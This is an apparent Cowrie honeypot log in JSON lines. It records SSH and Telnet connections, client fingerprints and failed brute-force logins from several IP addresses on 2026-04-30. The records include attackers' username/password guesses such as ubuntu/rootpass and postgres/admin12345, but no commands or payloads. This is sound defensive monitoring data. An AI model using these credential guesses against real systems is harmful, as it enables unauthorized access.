{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:11.111848Z","src_ip":"95.240.192.149","session":"22f4066683cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootpass","message":"login attempt [ubuntu/rootpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:11.591801Z","src_ip":"95.240.192.149","session":"22f4066683cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:12.707946Z","src_ip":"95.240.192.149","session":"22f4066683cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":56614,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d3d7f3a38e","protocol":"ssh","message":"New connection: 43.165.177.199:56614 (10.17.0.5:22) [session: 90d3d7f3a38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:17.396464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:17.401363Z","src_ip":"43.165.177.199","session":"90d3d7f3a38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:17.572837Z","src_ip":"43.165.177.199","session":"90d3d7f3a38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"12345678","message":"login attempt [ftpuser2/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:18.291202Z","src_ip":"43.165.177.199","session":"90d3d7f3a38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:19.464803Z","src_ip":"43.165.177.199","session":"90d3d7f3a38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.64","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8c1a937cbd","protocol":"telnet","message":"New connection: 160.119.76.64:42306 (159.203.135.109:23) [session: 6d8c1a937cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:26.535960Z"}
{"eventid":"cowrie.session.closed","duration":5.000136852264404,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:32:31.535995Z","src_ip":"160.119.76.64","session":"6d8c1a937cbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":55282,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e2d6963cc0a","protocol":"ssh","message":"New connection: 95.240.192.149:55282 (10.17.0.5:22) [session: 3e2d6963cc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:04.366344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:04.374020Z","src_ip":"95.240.192.149","session":"3e2d6963cc0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:04.485988Z","src_ip":"95.240.192.149","session":"3e2d6963cc0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newadmin","password":"newadmin","message":"login attempt [newadmin/newadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:04.955868Z","src_ip":"95.240.192.149","session":"3e2d6963cc0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:06.068650Z","src_ip":"95.240.192.149","session":"3e2d6963cc0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a16d2607a6f","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 2a16d2607a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:38.354431Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:38.464123Z","src_ip":"77.90.185.16","session":"2a16d2607a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":51936,"dst_ip":"10.17.0.5","dst_port":22,"session":"400e5585d545","protocol":"ssh","message":"New connection: 95.240.192.149:51936 (10.17.0.5:22) [session: 400e5585d545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:58.949403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:58.957799Z","src_ip":"95.240.192.149","session":"400e5585d545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:59.070390Z","src_ip":"95.240.192.149","session":"400e5585d545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin12345","message":"login attempt [postgres/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:33:59.552616Z","src_ip":"95.240.192.149","session":"400e5585d545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:00.668476Z","src_ip":"95.240.192.149","session":"400e5585d545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":32862,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f541f8d07f","protocol":"ssh","message":"New connection: 43.165.177.199:32862 (10.17.0.5:22) [session: 26f541f8d07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:13.919420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:13.925021Z","src_ip":"43.165.177.199","session":"26f541f8d07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:14.101063Z","src_ip":"43.165.177.199","session":"26f541f8d07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"arma3","message":"login attempt [arma3server/arma3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:14.838749Z","src_ip":"43.165.177.199","session":"26f541f8d07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:16.019274Z","src_ip":"43.165.177.199","session":"26f541f8d07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":55788,"dst_ip":"159.203.135.109","dst_port":23,"session":"de7a30e48791","protocol":"telnet","message":"New connection: 5.198.120.124:55788 (159.203.135.109:23) [session: de7a30e48791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:54.749901Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":40730,"dst_ip":"10.17.0.5","dst_port":22,"session":"df9b45f9f0a0","protocol":"ssh","message":"New connection: 95.240.192.149:40730 (10.17.0.5:22) [session: df9b45f9f0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:55.132555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:55.136807Z","src_ip":"95.240.192.149","session":"df9b45f9f0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:55.249129Z","src_ip":"95.240.192.149","session":"df9b45f9f0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":55824,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa8f70d75e07","protocol":"telnet","message":"New connection: 5.198.120.124:55824 (159.203.135.109:23) [session: fa8f70d75e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:55.655387Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2wsx@WSX","message":"login attempt [ubuntu/2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:55.729183Z","src_ip":"95.240.192.149","session":"df9b45f9f0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:34:56.845426Z","src_ip":"95.240.192.149","session":"df9b45f9f0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":47018,"dst_ip":"10.17.0.5","dst_port":22,"session":"492d026db059","protocol":"ssh","message":"New connection: 95.240.192.149:47018 (10.17.0.5:22) [session: 492d026db059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:35:48.480201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:35:48.483687Z","src_ip":"95.240.192.149","session":"492d026db059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:35:48.593871Z","src_ip":"95.240.192.149","session":"492d026db059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:35:49.066183Z","src_ip":"95.240.192.149","session":"492d026db059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:35:50.179751Z","src_ip":"95.240.192.149","session":"492d026db059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.64","src_port":55228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7688b28b148","protocol":"ssh","message":"New connection: 160.119.76.64:55228 (159.203.135.109:22) [session: a7688b28b148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:05.220196Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:05.365293Z","src_ip":"160.119.76.64","session":"a7688b28b148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e57e8c1a741","protocol":"ssh","message":"New connection: 43.165.177.199:33820 (10.17.0.5:22) [session: 6e57e8c1a741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:06.480529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:06.485578Z","src_ip":"43.165.177.199","session":"6e57e8c1a741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:06.661732Z","src_ip":"43.165.177.199","session":"6e57e8c1a741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootpass","message":"login attempt [ubuntu/rootpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:07.397697Z","src_ip":"43.165.177.199","session":"6e57e8c1a741","protocol":"ssh"}
